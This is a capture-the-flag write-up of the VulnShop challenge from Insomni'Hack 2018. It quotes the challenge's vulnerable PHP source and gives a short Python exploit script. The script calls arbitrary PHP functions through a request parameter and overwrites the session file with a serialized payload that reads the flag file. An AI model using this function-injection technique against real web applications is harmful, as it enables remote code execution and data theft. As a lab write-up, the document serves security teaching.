This year’s Insomni’Hack had pretty much decent challenges even though it took some time before my team could solve. The first challenge being, VulnShop. A pretty straightforward description with a few functionalities in the page along with the source code made it neat and clean.

Going through the source code, two particular function caught my attention: captcha and captcha-verify.

case 'contactus':
  echo "<p>You can't contact us for the moment, but it will be available later.</p>";
  $\_SESSION['challenge'] = rand(100000,999999);
case 'captcha':
  if(isset($\_SESSION['challenge'])) echo $\_SESSION['challenge'];
  // Will make an image later
case 'captcha-verify':
// verification functions take a file for later, when we'll provide more way of verification
  function verifyFromString($file, $response) {
  if($\_SESSION['challenge'] === $response) return true;
  else return false;

The $_SESSION['challenge'] does something very interesting which is basically creating a file after calling the contactus page which basically stores a random number between the specified value and in return requesting for captcha creates a file with the same generated number.

Let that be pretty much and let’s move ahead in the source code. The very next piece of code,

if(isset($\_REQUEST['answer']) && isset($\_REQUEST['method']) && function_exists($\_REQUEST['method'])){
    $\_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']);

we can see how the request is made, mainly two parameters as GET request.

The next part is the main aim of getting the flag. So according to the description and what we understood from the source code, what we can do is, we will make it into 3 steps: 1) Create a file by calling contactus and captcha 2) Write whatever we want to the file, say 123456 3) Copy the contents of that particular file to the session variable 4) Execute it

Also there were a few function which were disabled that could be seen in phpinfo:

The script below does all in one go:

#Author gkrishna
#Member of Teambi0s
#insomnihack_teaser 2018
import sys
import requests

url = ""
s = requests.Session()

r = s.get(url+'?page=captcha-verify&method=file_put_contents&answer=challenge|s:35:"print_r(file_get_contents(\'/flag\'))";')
val = "Value of Cookie = " + s.cookies.get_dict()['PHPSESSID']

r = s.get(url+"?page=captcha-verify&method=verifyFromMath&answer=1")

print r.text

Towards the end, we call the function verifyFromMath which returns the desired string.

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